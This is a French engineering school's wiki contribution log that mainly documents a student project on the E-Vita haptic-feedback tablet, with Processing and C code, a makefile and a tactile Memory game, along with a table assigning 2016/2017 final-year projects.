Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P42 Dispositif à retour tactile

2017-02-27T09:40:22Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu jeu.png|350px|thumb|center]]
[[Fichier:Game.png|350px|thumb|center]]
[[Fichier:Pause.png|350px|thumb|center]]
[[Fichier:Win.png|350px|thumb|center]]

Les sources de la librairie et du jeu sont disponibles ici : [[Fichier : Source_P42.zip]]

Fichier:Source P42.zip

2017-02-27T09:31:06Z

Pfitouss : a téléversé une nouvelle version de « Fichier:Source P42.zip »

Fichier:Source P42.zip

2017-02-27T09:25:43Z

Pfitouss :

Projets IMA5 2016/2017

2017-02-26T09:43:44Z

Pfitouss : /* Répartition des binômes */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>

<tr>
<td>[[P1 Automatisation de tests de validation d'un logiciel embarqué]]</td>
<td> Thomas ROJ / Maxime SZWECHOWIEZ </td>
<td> Thomas VANTROYS (Ecole)</td>
<td> 11/12/2016, 21:47 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P3 Chaise vibrante pour enfant sourd]]</td>
<td> Geoffrey Piekacz </td>
<td> Rodolphe Astori / Alexandre Boé / Thomas Vantroys </td>
<td> 13/12/2016, 15:36</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P5 Réseau de capteurs sur smartphone]]</td>
<td> Léo MAZIER </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P7 Régulation temps réel sur réseau sans fil ]]</td>
<td> Morgan OBEISSART / Vincent ROBIC </td>
<td> Alexandre BOE / Thomas VANTROYS </td>
<td> 12/12/2016, 23:26</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]</td>
<td>Nicolas WEGRZYN</td>
<td>Philippe DELARUE</td>
<td>[[Fichier:Rapport_intermédiaire_PFE_Wegrzyn_Nicolas.pdf]],13/12/2016, 00:28</td>
<td></td>
<td></td>
</tr>
<tr>
<td>[[P15 Entreprise : Développement d'une application iOS et Android ]]</td>
<td> Loïc DELECROIX / Julien JOIGNAUX </td>
<td> Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) </td>
<td> 13/12/2016, 09:13</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]</td>
<td> Valentin Taffin / Alexandre Cuadros </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) </td>
<td> [[Fichier:Rapport_PFE_présoutenance_cuadros_taffin.pdf]], 13/12/2016, 10:38</td>
<td> [[Fichier:Rapport_PFE_Cuadros_Taffin.pdf]]</td>
<td> </td>
</tr>
<tr>
<td>[[P17 Sécurité de l'internet des objets ]]</td>
<td> Jérémie Denéchaud </td>
<td> Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> </td>
<td> [[Fichier:Denechaud_Rapport.pdf]]</td>
<td> </td>
</tr>
<tr>
<td>[[P19 Relai Ethernet Lora ]]</td>
<td> Cong CHEN / Sonia NDUWAYO </td>
<td> Xavier Redon </td>
<td> 13/12/2016, 13:26</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P20 Conception d'un périphérique USB de type "gadget"]]</td>
<td> Florian Giovannangeli </td>
<td> Xavier Redon (Ecole) </td>
<td> 13/12/2016, 09:29</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P22 Nuage pour sites Web]]</td>
<td> Guillaume VILLEMONT </td>
<td> Xavier Redon (Ecole) </td>
<td> </td>
<td> [[Fichier:Rapport_PFE_final_GuillaumeVILLEMONT.pdf]] </td>
<td> </td>
</tr>
<tr>
<td>[[P23 Poste ébavurage de pièces plastiques ]]</td>
<td> Corentin CASIER / Jordan RAZAFINDRAIBE </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> 12/12/2016, 23:31</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Contrôle qualité de la production de pièces plastiques ]]</td>
<td> Alex JULITA / Matthier HERWEGH </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> 13/12/2016, 12:20 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P25 Supervision calculateur embarqué sur camion ]]</td>
<td> Alexandre DESCAMD / Pierre MICHEL </td>
<td> Thomas Vantroys (Ecole) / R. DAVID (Entreprise) / JF. DUHAUTOIS (Entreprise) </td>
<td>13/12/2016, 08:23 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P31 Partition HTTP/TLS pour Pepin]]</td>
<td> Mageshwaran SEKAR </td>
<td> Julien IGUCHI-CARTIGNY</td>
<td> [[Fichier:Rapport mi-projet SEKAR.pdf]] 13/12/2016, 08:14</td>
<td> [[Fichier:Rapport_PFE_2017_SEKAR.pdf]]</td>
<td> </td>
</tr>
<tr>
<td>[[P39 Ajouter de nouvelles interactions à la solution Tezeos ]]</td>
<td> Nathan RICHEZ </td>
<td> Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) </td>
<td> 13/12/2016, 10:30</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P42 Dispositif à retour tactile ]]</td>
<td> Pierre FITOUSSI </td>
<td> Laurent GRISONI </td>
<td> 13/12/2016, 12:23</td>
<td> [[Fichier:Rapport_fitoussi.pdf]]</td>
<td> </td>
</tr>
<tr>
<td>[[P44 Identification d'un robot mobile ]]</td>
<td> Michel MIKHAEL </td>
<td> Midzodzi PEKPE </td>
<td> 13/12/2016, 08:58 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P47 Développement d'une interface cerveau-ordinateur ]]</td>
<td> Victor CHARNET </td>
<td> C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)</td>
<td> [[Fichier:Rapport_Decembre_BCI_Charnet.pdf]],13/12/2016, 08:50 </td>
<td>[[Fichier:Rapport_Final_Fevrier_BCI_Charnet.pdf]] </td>
<td> </td>
</tr>
<tr>
<td>[[P52 Application mobile musicale]]</td>
<td> Julien Bielle/Romain Ruet </td>
<td> Thomas Vantroys (Ecole) </td>
<td>13/12/2016, 11:09 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P54 Robot assisté par vision pour le tri de pièces métalliques]]</td>
<td> Julian BONVILLE </td>
<td> Rochdi MERZOUKI (Ecole) </td>
<td> 13/12/2016, 08:35</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P55 DiabetGuard ]]</td>
<td> Martin CLAVERIE </td>
<td> Rochdi MERZOUKI (Ecole) / Guillaume DEWAENE (Entreprise)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P56 Robot testeur de club de golf]]</td>
<td> Joshua LETELLIER </td>
<td> Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) </td>
<td> 13/12/2016, 08:06</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]</td>
<td> Audrey AFFOYON </td>
<td> Blaise CONRARD (Ecole) / Laurent HAAG (Projet CENTAURE) / Antoine HONORE (Entreprise) </td>
<td> [[Fichier:Affoyon_rapport_p57.pdf]], 13/12/2016, 10:34</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P59 Popsell : application mobile]]</td>
<td> Quentin GRUSON </td>
<td> Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) </td>
<td> 12/12/2016, 22:36</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P61 Jeux d'aventure grandeur nature ]]</td>
<td> MAIA Stéphane / LENTIEUL Romuald </td>
<td> GAPAS / Thomas Vantroys (Ecole) </td>
<td> 13/12/2016, 00:51</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P64 Sécurité de l'IOT ]]</td>
<td> Cédric DUVAL </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)</td>
<td>[[Fichier:Rapport P64 Cédric DUVAL.pdf]], 13/12/2016, 11:29 </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P66 Rugby ]]</td>
<td> Antonin Claus </td>
<td> Rodolphe Astori / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> </td>
<td> [[Fichier:P66-Rugby Antonin Claus.pdf]] </td>
<td> </td>
</tr>

</table>

== Matériel nécessaires ==

<table border="1">
<tr>
<th>Projet</th>
<th>Matériel</th>
</tr>
<tr>
<td>P15</td>
<td> 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) </td>
</tr>
<tr>
<td>P16</td>
<td> Arduino MegaADK </td>
</tr>
<tr>
<td>P52</td>
<td> 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) </td>
</tr>
<tr>
<td>P55</td>
<td> 1 téléphone Android (G4C) reçu le 19/01/2017 
</tr>
<tr>
<td>P61</td>
<td> une tablette Android reçu le 10/10/2016 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016
 9 Raspberry pi (+dongle Wifi) 8 Haut-Parleurs simples 8 clés Bluetooth</td>
</tr>

</table>

Fichier:Rapport fitoussi.pdf

2017-02-26T09:42:25Z

Pfitouss :

P42 Dispositif à retour tactile

2017-02-23T01:17:09Z

Pfitouss : /* Application */

P42 Dispositif à retour tactile

2017-02-23T01:16:56Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
